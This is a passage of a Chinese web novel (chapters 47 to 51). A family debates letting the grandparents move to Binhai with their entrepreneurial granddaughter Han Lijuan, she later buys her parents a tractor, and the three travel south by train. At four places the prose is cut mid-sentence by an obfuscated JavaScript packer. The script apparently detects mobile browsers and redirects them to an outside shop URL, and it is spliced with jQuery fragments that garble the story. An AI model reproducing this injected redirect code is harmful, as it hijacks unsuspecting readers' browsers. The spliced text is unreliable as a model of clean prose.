“我难道就是害了娟子吗，你们老两口这么大岁数，到那边谁照顾谁呀！你们说我说话难听，我当儿子的，我考虑的多点不应该吗，真要出点啥事，你让我们咋整？让别人咋说？” 韩建设这话，让赵淑芬差点没点头称赞，她也这么想的，但她不敢说，老二今天这些话都在点子上。 “老三，你说句话呀。还有大哥，你咋想的？”韩建设发现这半天，就他跟大嫂在说，他那俩兄弟一声不吭的。 “我听爸妈的。”韩超美说。 他今天才回来，娟子跟他打过招呼，问了问周晓芹父母那边的情况，说想明天去看看，还有就是，私下跟他说了，等她那边稳定，他这边事情处理完，想让他过去滨海。 他跟韩丽娟打听了滨海的情况，韩丽娟说，同样都叫村子，滨海那边的村子，好早就通电了，而且柏油路也修到村子里面，几乎村村通。还有很多人住的二层小洋房，完全实现楼上楼下，电视电话。 娟子话里话外的意思，以后在那边发展好了，大家都出去。 在这边种地，能有啥出路。 韩丽娟的话，让韩超美很心动，娟子在滨海，以后大哥大嫂很可能投奔过去，他如果也过去，那爸妈提前去了也不是啥问题。 “啥都听爸妈的！”韩建设服了，这个老三，真是靠不住，是了，韩丽娟是跟着他老叔身后长大的，老三做生意都带着这个侄女，完全站她那边。 “大哥，你看咱爸妈跟老三，太不靠谱了！”他又把目光转向大哥，一时间，所有的目光都转向韩爱国。 毕竟，他是老大，还是韩丽娟的亲爹，这种场合，他一句话，很可能就扭转局面。 韩爱国很纠结，三十晚上，他虽然喝的多，但是她们娘俩的话他也听了一些，记个大概。娟子那边需要人，哪怕不是去厂里，在家里能搭把手的都行，他们这边走不开，有别的长辈能过去，他也放心。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17208586|195029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孩子在外面做着大买卖，自己一个人不安全。 但他爸妈年龄确实大，出了事，不管是他爸妈，他们，还是娟子，到时候后悔就晚了。 “爸妈要是愿意去，就去吧。”但想了想，韩爱国还是觉得，应该同意。毕竟娟子愿意，他爸妈愿意，他没啥不愿意，真出了问题，他是老大，这俩兄弟能怎么他。 爸妈去了能解决娟子的问题，其他的问题没发生，发生了再说呗。 “大哥，你怎么能同意！”韩建设张嘴刚想说，发现有人抢了他的词。一看，是他媳妇王红梅。 要不说他们是两口子呢，关键时候，还是媳妇啊。 “这事儿，我不同意。”王红梅表态，她语气甚至比赵淑芬跟韩建设更坚决。 “爸妈，你们走了，大蛋二蛋天天下学回来咋办？当年娟子生下来，在你们这长到十多岁。老三两口子现在住在县城，每次回来直接住在你们家，啥事不操心，就我们家，如今正是需要你们帮着拉把手的时候，你们又去照顾娟子了，一样的孙子孙女，孙女需要照顾，孙子就不需要了吗？” 王红梅反对其实就是想要一个公平。在她看来，老两口是去给韩丽娟做贡献去了，但老两口走了，他们就一点力都借不上了。 老两口在这，能帮着看顾一眼孩子，还有就是农忙时候，他们也都能吃上一口热乎饭，回家能歇一歇。 “娟子，二婶不是针对你，二婶平时对你咋样你也知道，但你那边需要人，我们也需要人。” 王红梅的话说完，屋子里静悄悄。连一向伶俐的韩丽娟也不知道该说点啥。 她只是想着爷奶跟她关系好，她那边需要人陪着，而且她还能给他爷奶安排点活，赚点钱，不比在家种地强吗，爷奶这个岁数，去她那里比在这里轻松，还多赚钱。 她没想过二婶说的这些。一时，有些没了主意。 “红梅，你这话，说的啥意思？”赵淑芬也是不同意的，但王红梅这话她不爱听。“你这话是只有我们跟老三借着爸妈的光了，你跟老二你俩现在的日子就是靠自己过起来的呗？大蛋二蛋没上学那会，不也在他爷奶家吗？我们娟子那时候，可不是我非要求着咱爸妈帮着看的，那是因为咱爸妈当年没生闺女，娟子是咱家第一个女孩，爸妈稀罕，你有本事你也生啊。” “大嫂，话不是这么说的，你家三孩子老大结婚了，娟子去滨海，小敏念高中，是轻松了，你不觉得啥。我家这俩现在最是需要人绑着的时候，那老人帮一把不是再正常不过的嘛，我问你，有爹妈在，娟子为啥不让你们俩去帮忙，怎么非得带着她爷奶去，不就是你们走不开，道理都是这个道理，你们能讲这个道理，我就不能讲？我讲就是不讲理了？” “都别生气，别生气，当着孩子们的面呢？”眼看俩妯娌要撕吧起来，本来一直嚷嚷的韩建设也顾不得反对，过来劝架。 48. 第 48 章 “你哪伙的？”王红梅气坏了，这个人，关键时候跟不上。 “二婶，你别生气。”韩丽娟明白王红梅为啥生气。“是，我承认，我自私点，没考虑叔叔婶婶，只想着爷爷奶奶跟我自己，这样，我爷我奶跟着我，就不用叔叔婶婶们交养老钱了，我养着。叔叔婶婶们看怎么样？” 她是小辈，从叔叔婶婶的角度，爷奶是他们的父母，父母子女之间天然是有互相帮衬的义务。 爷奶帮着他们看孩子，做一些力所能及的事情，他们给爷奶养老。 她知道，自从爷奶满六十后，爸妈叔婶开始给养老钱，每家每年100块钱，再给一袋米，一袋面，米面都是五十斤的。 这块她之前忽略了，没想起来。刚刚二婶说起来的时候，她突然想起，既然爷奶是给她帮忙的，那爷奶的养老理所应当她负责。 爷奶她是要带走的，二婶拦着也不行。 “不行！”韩丽娟话音刚落，韩建设，韩超美全都出声反对。 赵淑芬也想反对，但张张嘴，没说出声。刚刚王红梅的话也是有些道理的，这件事情上，是娟子爷奶代替他们两口子过去照顾娟子。她姑娘是一年能攒两万块的人，一年两万块，她在心里劝自己，她爷奶过去，她能赚更多，娟子给她爷奶花点就花点吧，把嘴闭上，别说话。 王红梅有些讪讪然，她的本意不是这个，就是觉得大蛋二蛋的爷爷奶奶，也应该为大蛋二蛋付出一些，不能只帮着韩丽娟。 但韩丽娟这么退让，让他们不出养老费，她又觉得有些丢自己作为长辈的脸，又觉得……挺好的。 这很公平。 韩建设反对，那没啥用，现在就看老头老太太啥想法。 “娟子，二婶不是这个意思，你看……” “二婶，这是应该的，我让爷奶跟我走，就要承担起照顾他们两个人的责任，之前是我疏忽了。”韩丽娟是真心地，在外面跟陌生人谈生意，想要达成都要让利，在自己家，她也不能只用感情绑架其他人，她也要让“利”，大家互惠互利，才能长久。 “爸，妈，这养老钱我们该给还是给的，传出去成什么样！”韩建设是真心要给的，一码是一码，他不同意爸妈去滨海，虽然也有一些小心思，但该养父母还是要养的。 “爸……”韩超美也要说话。娟子愿意孝敬是娟子的事，他们不能把养老的事情推出去啊。 “听娟子的吧。”老太太打断后，又说。“老头子，你说。” “那天娟子问我跟你妈，想不想跟她去滨海，我跟你妈想了想，同意了。”老韩头娓娓道来。“我跟你妈为啥同意呢，一呢，就是你妈刚刚说的，咱们也看到，娟子这次回来瘦了，在外面是赚钱，但也吃苦，身边也没个人照顾，我跟你妈过去，能给打扫打扫卫生，做做饭。这二一个呀，我们俩也老了，越来越种不动地了，我这腰，你妈的腿，都有点小毛病，岁数越大，身体越沉，真有一天啥也干不动，靠着你们一年给那三五百的，我俩这日子也过不好，到时候受罪的还是你们。娟子说了，她能给我俩找个轻松点的活，一年凑合小一千的，比我俩在家种地强。我俩攒点钱，对咱们全家都是好事。” 老头说到这，扫视一圈几个儿子儿媳，几个儿媳低着头，儿子们面漏惭愧。“要走，家里这些家当就分一分。我跟你妈就这一间小土房，不值什么钱，我们以后也要回来，就不分了。剩下两匹马，老三，年后你找人，看谁想买，就卖了，卖的钱你先拿着用，等我跟你妈准备回来养老的时候，你再给我们就行。家里有几只鸡鸭鹅，你都一起拿走，自己吃，送人还是卖了都行，算你的。去年的粮食还没卖，老大老二，等你们卖粮的时候，带着一起卖了，钱跟卖牲口的钱一样，老三先拿着。接下来就是我跟你妈的地，” 老头喘口气，几个儿媳都支棱着耳朵听着。“老二，地就先给你家种，兄弟三个，你家负担最重，两个儿子，以后读书结婚都要花钱，但地不白种，税跟公粮，都是你负责，等我跟你妈回来，这土房子你也得帮着给修起来。”土房不耐放，不住人，一两年就不像样子，等他们老两口回来养老，房子得重新修一下。 不过土房，修起来没多贵。 “爸！”韩建设本就红着的眼眶更红了，他三十多岁的人，可不能在孩子面前掉眼泪。 “爸，我跟建设不同意不是为了要地。”王红梅眼眶也红了，她是想要占一些便宜，但便宜太多，她也不敢要，以后在妯娌面前怎么抬头，吵架都不硬气。 而且，看大蛋爷奶这有条有理的，分明就是之前就计划好的，爸妈在考虑的时候，想到了他们的困难，这显得她刚刚的吵架都不理直气壮。 老韩头摆摆手，意思是都别打断我，让我说完。接着又对韩超美说“老三，你的地之前是我跟你妈种，我们不种了，就给立伟种吧。” 韩超美可有可无的点点头，他没时间种，现在也看不上种地的那点收成，给谁种都行。 “立伟，你老叔的地，你也要负责税跟公粮，另外这地算你承包的，你得给钱，至于怎么给，你自己跟你老叔商量去。” 要说困难，除了老二家，就是他孙子这里，分地的时候，孙子还不是成年劳力，没分到劳力地，只有口粮田，结婚后，孙媳妇的口粮田没带过来，重孙女更是，没赶上分田，啥也没有。 孙子现在种的地，一部分是老大两口子匀的，一部分是承包的别人的。 他也知道孙媳妇家里那边的事，但是一辈人不管两辈人的事，他们老两口也管不到孙子家里去。 自己的地给儿子种可以不要钱，但侄子种叔叔的地，不能白种，虽然地是叔叔的，可叔叔成家了。 老韩头一件一件的把家里的事情都安排好，没有绝对的公平，但他手里就这点东西，能安排的都安排了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17213312|195029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “大概就这么安排的，你们看看，还有啥遗漏没？” 老头说完，让这些儿子儿媳妇说话。“要不要的这种就别说了，都是一家人，别搞那些虚头巴脑的。我跟你妈去滨海，这些都是要安排的。” 众人你看我，我看你，都不知道怎么开口的好。 他们都不是蛮不讲理的人，都知道老头子这是尽力让每个人都分到点东西。老大老二家在农村，给安排地，老三做买卖需要现金，钱给老三用。 “既然都没问题，就轮到我说了。”老头说完，老太太要说。 “我们跟在娟子身边，就不用你们掏养老钱。我跟你爸在外有个头疼脑热的，也不用你们管。但我俩年纪大了，哪天早晨突然起不来也是有可能得，到时候，你们别把事情都推给你们大侄女身上，该你们出力就出力，出钱就出钱，总归我跟你爸不能一起起不来就是了，你们啥样，我们也都能看见。但我们也不是那老糊涂的，不会把儿女都拖累死，你们别让娟子一个人在外面给我们办丧礼就成。” “哎呀，妈！你看你，大过年的。”韩建设真的要哭了。 “妈，你放心，有我呢，我们兄弟几个不能做出这种丧良心的事情。”韩超美说，这话，本应该是大哥说，但因着有娟子这一层，韩爱国不好说。 “爸，妈，我们不能。”王红梅说，她，哎…… “我跟你爸不在家，你们几个之间别打仗，你们几个要是打起来，那才是最大的笑话。”老太太说的是儿子，心里想的却是几个儿媳妇，尤其是大儿媳妇，跟二儿媳妇，这几年还好一点，前几年可是隔三差五的打，她不在，这俩虎玩意要是掐起来，可真够村里人讲一壶的。 “妈，你放心，那不会。”韩爱国承诺，他是大哥，会照顾好弟弟们。 几个儿子儿媳都点头。 一时，正事说完，因为刚刚争吵过，还有老头老太太要走，大家都有些沉默，围着桌子，都没啥话。 “爷，奶，你们啥时候走啊？现在就走吗？我现在能把大黑抱我家去吗？”大家都这么沉默，二蛋看看这个，看看那个，发出灵魂三连问。 “你这个小兔崽子！”韩建设一把捞过二蛋，啪啪啪！ 王红梅手慢了一步，指着二蛋鼻子。“从明天开始，你每天给我抄书，抄不完不准睡觉，不准吃饭！” “快别打孩子，孩子懂啥。”赵淑芬跟周晓芹赶紧过去抢孩子。 “二蛋又挨打啦，哈哈哈哈！”大蛋最近的乐子就是看他爸妈收拾二蛋。 “挨打了，哈哈哈。”更是啥也不懂的丽彤看见二蛋哭，刚想跟着哭，又看大蛋笑，又跟着笑，还走到二蛋身边笑。 不远处，还在睡觉的雨涵，被惊醒，“哇——”哭声响破天际。 “姐，咱家真热闹！”韩丽敏感叹。 “太热闹了。”聪明如韩丽娟，都没想到局面是这么破的。 49. 第 49 章 “咦？不对！”正在哄着二蛋的赵淑芬忽然一顿，她啥时候同意老头老太太跟着娟子去滨海的，她一直没同意吧，那后来怎么就忘反驳的？ 她回忆，她跟王红梅吵起来，王红梅说他们两口子……然后她心虚没有反驳，然后老头老太太开始分牲畜分地，然后她很满意老人想着她儿子…… 然后就这样了！ 大家已经在讨论他们这次出门带什么，怎么走，老二两口子一口一个爸妈，一口一个娟子的，那黏糊样，像娟子是他们亲闺女似的，刚才那个厉害劲儿呢？ 一群投降派！ 行吧，反正她担心的事情老头老太太也安排好了，到时候谁敢把事情都推给娟子，她跟她们撕扯就是了。 接下来两天过得很快，村里人来来往往，她抽空又去了街里，给孙慧送钱，孙慧走的时候，针织厂还欠她一个多月的工资，韩丽娟去帮着取回来，这次给送过去，以为能遇到孙慧，但孙慧去了姥姥家还没回来，韩丽娟将钱留给孙慧妈妈，并麻烦孙慧爸爸帮着留三张车票。 张艳霞也抽空来看她，围着她叽叽喳喳的说了好多，说这一年村子里变化跟新闻。 其实没啥多大的变化，跟韩丽娟在的时候一样，不过是谁生了，谁死了，谁娶媳妇了，谁嫁女儿了。 唯一有变化的是，村子里有一家买了四轮车。“这玩意，真好用，耕地可快了，还省力气。”张艳霞说的羡慕。 “就是小拖拉机呗！”韩丽娟一听，有些心动。“贵吗？” “咋不贵，一万多块钱呢。” 一万多，也还行。韩丽娟一听，觉得她家也该买一辆。 张艳霞走后，韩丽娟越想越觉得该买。“爸，你要四轮车不要，你要要，我给你买一辆！”初六晚上，难得家里没啥人来。 “那你就给我买一辆呗。”韩爱国压根没当真，卷着烟，顺嘴说到。 “那行，整好初八你和我妈跟我一起去市里，买了车，你就带着我妈回来。”韩丽娟安排到，初八市里的农机厂应该开门营业了。 “你们爷俩干啥呢？”赵淑芬在一旁听不下去了，关键是她不知道韩丽娟在那说的是真的是假的。 “我说给我爸辆四轮车，我爸同意了。”韩丽娟头转向她妈，面色平静。 仿佛说的不是买四轮车，是买火柴盒。 “你说真的呢？”赵淑芬问。 “啊。”韩丽娟点头。 “哎，你干啥呢？你闺女说要给你买四轮车你就要啊！”赵淑芬要炸了，过去抢过韩爱国的烟笸箩。“抽抽抽，一天天的！” “闺女你说真的呀？”韩爱国回神。“那不买，太贵了。” “就是，咱家那两亩半地，我跟你爸轻飘的就干完了，买啥拖拉机，种多少年地能把那拖卡机钱赚回来啊！不行你把那两万块钱的存款单留家里，我看你有点烧包。”赵淑芬在旁边一听，就担忧起那两万块钱。 她就知道，这闺女，手松的很，有点钱就想花。 “爸妈，咱家养的马，天天半夜还得想着添草料，一年四级不间断，隔三差五清马粪，年年夏天打羊草，到了冬天从大老远的甸子往回拉，多危险，多累啊，妈，你记不记得后屯子那个盛家，他家不就是冬天拉羊草，半道车翻了……” “哎呀，你快别说了，大过年的。”韩丽娟话没说完，就被赵淑芬打断。 盛家爷俩去拉羊草，半路车翻了，一死一伤。 这种事，年年冬天都发生。 “有四轮子就不用拉羊草，而且我都听艳霞说了，会开拖拉机就会开四轮车，四轮子还更轻便，更安全。”韩丽娟他爸过去在生产队也开过拖拉机。“我爸还会开，到时候拉你回娘家，都不用套马车，开着四轮子，突突突突的就回家了。” “也挺好哈。”韩爱国在一旁听着，有些心动的说。 “好啥好，钱也好！”赵淑芬没好气的说。“我一年回几次娘家啊，车油不是钱啊。” “妈，你那都是老思想，你得换个思路，有了这清闲功夫，你跟我爸多养两头猪，没几年，咱们这拖拉机钱就回来了。”韩丽娟太懂她妈了，舍不得钱，但钱要靠赚，就纯纯的靠省，就她家这收入支出，一辈子能省多少？ 把养马的功夫省下来，养别的不也赚钱嘛。而且，地里花的时间跟力气也少了，家里完全可以多养点鸡鸭。 “那也太贵。”赵淑芬怎么想怎么觉得不合适，太贵。“过两年再买吧，这玩意过两年应该能便宜。” “爸，你咋想的？”韩丽娟感觉她妈说不通，转而来劝她爸。“咱家买不买，你是咱家种地主力，这事你说的算。” “嘿嘿。”韩爱国嘿嘿一笑。 韩丽娟懂了。 “你嘿嘿啥。”赵淑芬没好气的说。“嘿嘿，嘿嘿的。” “闺女，算爸跟你借的钱，到时候还你。”韩爱国还真的心动，种地的人谁不想要一辆拖拉机呢，突突突的一开，地耕完了，爽快！ “我有10000块的现金，我全都拿出来，妈，差的你跟我爸补上。”韩丽娟这次回来没带多少现金，这一万块钱，原计划是留在家里给她爸妈应急的，现在整好买车。 “你不说你就那两万块吗？怎么又冒出来一万？”赵淑芬压着嗓子喊。“你到底有多少钱！” “真没了，这回真没了。”韩丽娟斩钉截铁。“你要买拖拉机，咱们初八就一起去市里，我把钱给你留着，你要是不买，我就带走，也不给你们留下了。” “你这孩子……”周淑芬满地转圈，找到笤帚，举起来，又放下，开始扫地。她现在可不能随便拿起笤帚打孩子，但她她她她就是爱干活。 “哈哈哈，妈，买吧，你看你跟我爸，岁数也大了，咱家现在有这个条件，买回来你们干活能轻松点，不累。”韩丽娟种过地，知道农忙有多累，能有合适的工具，减轻负担，为啥不用呢。 “那就依着你爸说的，算我们借的，等到时候我们还你。”赵淑芬还是答应了，在这个家，但凡韩丽娟想干啥，总是能让他们俩答应。 答应吧，把钱花在这里，总好过出去乱花买一些更没用的东西。 赵淑芬安慰自己。 年初八，一家人浩浩荡荡的到了县城。 “诶？老李大哥，大嫂，你们这也是要出门？ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17216408|195029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”在客运站，遇到李老大两口子。 “啊，去趟市里，你们这是送孩子？”李老大回应。 “嗯，这不是我爸妈跟着过去吗，寻思送到市里。”赵淑芬说。 韩丽娟爷奶跟着去的事情这两天在队里传遍了，大家都知道。 一行人上车，老头老太太坐前面，李老大跟韩爱国不喜欢坐这种双人位，跑到最后一排去了。 “她婶子，咱俩坐这。”李老大媳妇拉着赵淑芬坐下，到市里一个多小时，她可得找个人唠唠嗑。 看她俩后排的位置空着，韩丽娟自己过去，坐下。 陆陆续续的开始上人。 李春来上来的时候，已经没几个空位，他巡视一圈，走到韩丽娟身边，韩丽娟看了一眼，往里挪一下，把外面的位置让给李春来。 “春来也跟着一起去啊？”赵淑芬以为就李老大两口子呢，没想到李春来也一起。“不是说要去省城上班吗，咋还没去呢？” “嗯呢，说让他明天去报道。”李老大媳妇回。 “嫂子，我听说……”赵淑芬用只有她跟李老大媳妇能听见的声音，略带神秘的问，说话间眼神还往后撇一下，似乎在跟李老大媳妇确认，难道传闻是真的？李春来的领导真把自己闺女介绍给他了，但那不应该直接坐车去省城吗？ 李老大媳妇赶忙摇头，也不知道谁传的，说他儿子被领导看上要当上门女婿了，没影的事。 “那你们去市里干啥呀？”赵淑芬声音正常了，她问到。 “就是随便转悠转悠，没啥别的事，春来这不是要是省城上班，我们寻思今天全家去市里逛逛。”李老大媳妇回，对于去市里干啥，她守口如瓶。 “大哥，你们去市里干啥啊？”同一时间，韩爱国也问。 “去市里农机厂转转，看看四轮子。”李老大说。 “噗~”坐在中间的韩丽娟听到截然不同的两个答案，忍不住笑出声。她想，李大娘的白眼这功夫应该翻上天了。 “我们也想看看呢，整好咱们一起转悠转悠。”韩爱国一听，这不巧了吗。 嗯，她妈白眼也翻上天了。 “你笑啥？”李春来没搞懂，韩丽娟怎么突然笑出声。 韩丽娟：…… “我想起点有意思的事情。” “哦。”李春来点头。 韩丽娟心里，白眼也翻上天。 一趟车，爷爷奶奶看着外面的风景，开心的聊天。 赵淑芬跟李老大媳妇分享村里的八卦，聊得很开心。 韩爱国跟李老大连说带比划，分享四轮车开车技术，开心又热闹。 韩丽娟看看窗外，试图插入赵淑芬跟李老大媳妇的聊天，但俩人回头看见她，对视一眼，声音忽然放的很低，不带她！ 又看看窗外。 “李春来，你去省城做什么工作？” “开车。” “开什么车？” “货车。” 韩丽娟闭嘴，窗外的雪景真好看，一片一片的。 她刚刚真不应该给李春来让位置，旁边坐一个陌生人，也比李春来会聊天。 50. 第 50 章 看了一会风景，韩丽娟没忍住，又问。“你们在部队都学开车吗？” 她计划今年下半年养一个货车司机，她之前了解过行情，这年头会开车的都是香饽饽，尤其在滨海，司机不好找，很多会开车的都想方设法自己养车，或者去开出租，不自己养车的也在大厂子待着，工资也不低，活还清闲，一个月好几百。韩丽娟舍得钱，但是她想找个外地司机。 说到底，她现在干的活，没啥技术含量，怕司机不靠谱，撬她的客户，或者把她客户信息卖掉。本地人人脉太广，拉个厂子分分钟的事，但外地司机就不同，想卖她，操作起来需要时间，如果还是个有点人品的，三五年内起码安全。 她可听说了，李春来是在部队学的开大车。那他战友应该也会，让李春来帮着介绍一个靠谱的，也是个路子。 其实李春来这人就挺合适，知底细，话不多。但人家有稳定工作，要是被她挖走，她怕李家人拿着扫帚打她。 “很多人都会。”李春来思考一下。“你想学？”他没搞懂，韩丽娟这会儿总围绕着车问来问去。 难得的，竟然还会把问题抛出来。 韩丽娟摇头，她现在没时间，再说学了不买，没啥意思。“我们厂子招司机呢，我帮我们老板打听打听，你战友要是有人品好的，你可以帮着介绍介绍。” 韩丽娟忽悠到。“我们厂子待遇也好，而且滨海是个很有发展的城市。” 她说的都是实话，她是替老板打听呢，只不过老板是她自己而已。 “行。”李春来点头，原来是这样，他可以帮着问问。“那我怎么告诉你？” “我给你留一个电话。”韩丽娟将他们厂子的电话留给李春来。 “你跟李春来在车上说啥呢？”下了车，赵淑芬寻到机会，走到韩丽娟身边。 “没说啥。”韩丽娟说。“问问他司机现在啥行情。” “最好是，我跟你说，你李大娘有相中的儿媳妇，准备等他儿子工作稳定就介绍定亲呢。”赵淑芬提醒韩丽娟。 “哎呀妈，你看看你们的思想，年轻人说两句话，就往乱七八糟的地方想。”韩丽娟觉得她妈不可理喻，啥年代了。 “没有就没有，我就提醒提醒你。”赵淑芬不过就是提个醒。 “自己在外面长个心眼啥的，别啥人都相信，你现在自己做买卖了，要对周围的人多加小心，有些事憋自己心里，也不能跟别人说太多。”站台上，赵淑芬不忘叮嘱韩丽娟。她想，孩子没出息，操心，孩子太出息，也操心。 这一年赚这么多钱，在外面还真得有长辈跟着。 “在滨海照顾好自己，还有你爷你奶，有事儿可千万往家里来电报，你老叔不也给你留了能找到他的电话嘛，到时候打电话也行。”韩爱国也嘱咐。 “花钱别太大手大脚，攒着点……” “钱赚的差不多就行，别太累……” “你俩快回去吧，放心吧，有我们呢。”眼看着要开车了，老大两口子还一人一句的，老韩头不得不出声。他们这里不是始发站，车就停靠一会就开走了。 “上车吧。”赵淑芬松开韩丽娟的手。 韩丽娟带着爷爷奶奶，告别父母，再次登上前往滨海的火车。因为带着俩老人，韩丽娟买的卧铺车厢，其实，上次她回来就买的卧铺。二十多个小时，就算不睡觉，纯躺着，也比坐着舒服。 “这火车，真挺好的哈。”老太太坐在床位上，还使劲的颠了颠，床铺不带弹簧，自然没啥弹性，但她仍然很兴奋。 “哎，你看，这一张床还分上中下，能睡三个人！”这么大岁数，老两口还是第一次坐火车。看啥都稀奇。 新鲜劲比韩丽娟第一次坐火车都高。 “到哪下呀？”等熟悉完床铺，老两口就开始跟上下左右的临铺唠上了。 “也去打工的？” “孩子多大了？” “家里几口人啊？” “都是做啥的？” 不一会，左右的情况，被韩丽娟奶奶摸得一清二楚。 “我也去打工。” “家里没几亩地。” “跟着孙女走。” “给人看大门。” “儿子没出息。” 当然，老两口对外也有自己的人设，三言两语，儿子不中用，不得已跟着孙女出去讨生活的悲惨老两口坐在众人面前。 信不信的，出门在外，身份都是自己给的。 “哎呀，这可真是大城市，大道上车比咱们市里多多了！”等到了滨海，俩人更是看的眼花缭乱，看车，看楼，看路边的行人，韩丽娟之前还担心，怕俩老人经不住火车颠簸，现在看来，有些多虑了。 “娟子，这就是你的厂子？”等到了家，放下行李，老两口迫不及待的让韩丽娟领着去她的厂子看看。“真大！”老太太感慨，语气带着骄傲跟自豪。 “娟子，这牌子上写的啥字？”老韩头摸着厂子门口挂的牌子上的字，问。 “《韩丽娟海产品加工厂》”韩丽娟指着上边的字，一个一个的念过。 “好！好！好！”俩人一听，都点头称好，笑的眉不见眼。 “娟子，你回来了？”今天初九，厂子上班了，活不多，姜美凤领着员工先打扫了卫生，然后开始干活，她在屋里看见窗外有人，定睛一看，是韩丽娟回来了，赶忙出来。 “这是……大爷，大娘？”姜美凤看着韩丽娟旁边的俩老人，有些不敢确认，瞅着面慌的，应该是周晓芹的公婆吧。 “对，美凤姨，我爷我奶过来陪着我。” “这就是美凤吧，去年你们来我家门口接娟子，咱们就急匆匆见过一面，过年回去，没少听娟子提起过你们两口子，过去这一年，娟子要多谢你们两口子照顾啦。” 老太太也不怎么认识姜美凤，但她听娟子喊人就知道错不了。 “哎呀，谢啥呀，我们都是互相照顾。刚下火车吧，累不累啊？”姜美凤看这时间，娟子他们应该是刚刚到家没多久。“坐一晚上火车，挺累的，晚上来我家吃饭，大爷大娘，晚上让我家那口子给你们露一手。” “别别别。”老两口摆手拒绝。“累啥呀，娟子给我们买的卧铺，睡一觉就下车了，可不用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17221644|195029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你们准备，你们都上班呢，一会我们买点菜，晚上来我家吃。” “那怎么行！”姜美凤不同意。“上车饺子下车面，咋地也不能自己给自己擀面条。” “面条刚刚下火车吃了。”老韩头插话。“你们就过来吧，我们老两口没啥事，总归要在附近转转熟悉熟悉，让娟子带我们去供销社买点菜，等你们下班，整好吃饭。” “美凤姨，来我家吧，吃你们家那么多次饭，也让我回请一次。”韩丽娟一锤定音。 “那行。”姜美凤还是很听韩丽娟的话的。 “美凤姨，今天我就先不进厂，你盯着点大家，过年放了将近十天假，很多人手生了，一定注意质量。”临走前，韩丽娟叮嘱姜美凤。 她先安顿好她爷奶。 “行，我知道了。” 从厂子出来，韩丽娟领着老两口慢慢的往家走。“这儿的路真是跟娟子说的一样哈，区里拐歪的，不像咱们那里，正南正北。”老头说。 “可不咋地，一不小心，容易转向呢。”老太太看着不远处的山，一座山，一座山的。“这儿的山可真多。” “爷奶，你们走路一定要注意脚下，最近你们刚刚来，不熟悉情况，晚上不要出来瞎溜达，咱们这有一个老头，刚来第一天晚上出门，忘了自家门口出门要拐弯，直着走出去，摔坑里摔了满脸血。”她说的是林爷爷。 韩丽娟领着俩人认识附近的小卖店，还有不远的供销社。主要是他们居住附近的环境，记住村的名字，还有房东的名字，这样，不管怎么迷路，总能找回来。 当晚，陈大有姜美凤带着孩子，几人热热闹闹的吃了顿饭，第二天，韩丽娟开始送货。 她走的早，等她回来，再给她爷奶安排事儿干。 送货出来，韩丽娟又去了卖二手车的大哥那。 她想给她爷买辆二手车。 她奶不会骑。 “来了！”二手车大哥招呼她。 二手车大哥还记得韩丽娟，主要是记得韩丽娟那破二八杠，后面绑着一个雪糕箱，让他印象深刻。 “来了。”韩丽娟点头，看大哥正忙着，就自己先随便看看。 二手车行旁边多了一家摩托车行。 摆了几辆摩托车。 全新的，线条流畅，颜色艳丽。那车头上的大后视镜，锃亮！ 韩丽娟伸手握了握摩托车把手。 “看看摩托车呀！”一个女人走过来。“想买个什么样的？”她问。 “我随便看看。”韩丽娟摇摇头。 “舍得把你那二八大杠换掉了？”这时，二手车大哥也走过来。“买摩托车，给你便宜点。” “这是你的摊位？”韩丽娟问。 “我媳妇。”大哥指着刚才招呼她的那个女人。 “你这生意真是越做越大呀，但，大哥，这摩托车有没有二手的呀？” 韩丽娟看了，一辆摩托车大好几千，上了牌照得一万多，她有些舍不得。但，今年她的工作重点在市里，来回的交通是个问题。 “妹砸，你信我的，别买二手摩托车。” 51. 第 51 章 二手自行车大哥听了韩丽娟的话，冲她摆摆手。“真不是忽悠你，买摩托车你就买新的。” “为啥？”韩丽娟不懂，她觉得卖车大哥不是在骗她，他都卖二手自行车了，卖二手摩托也没毛病，但大哥不卖，也不建议她买。 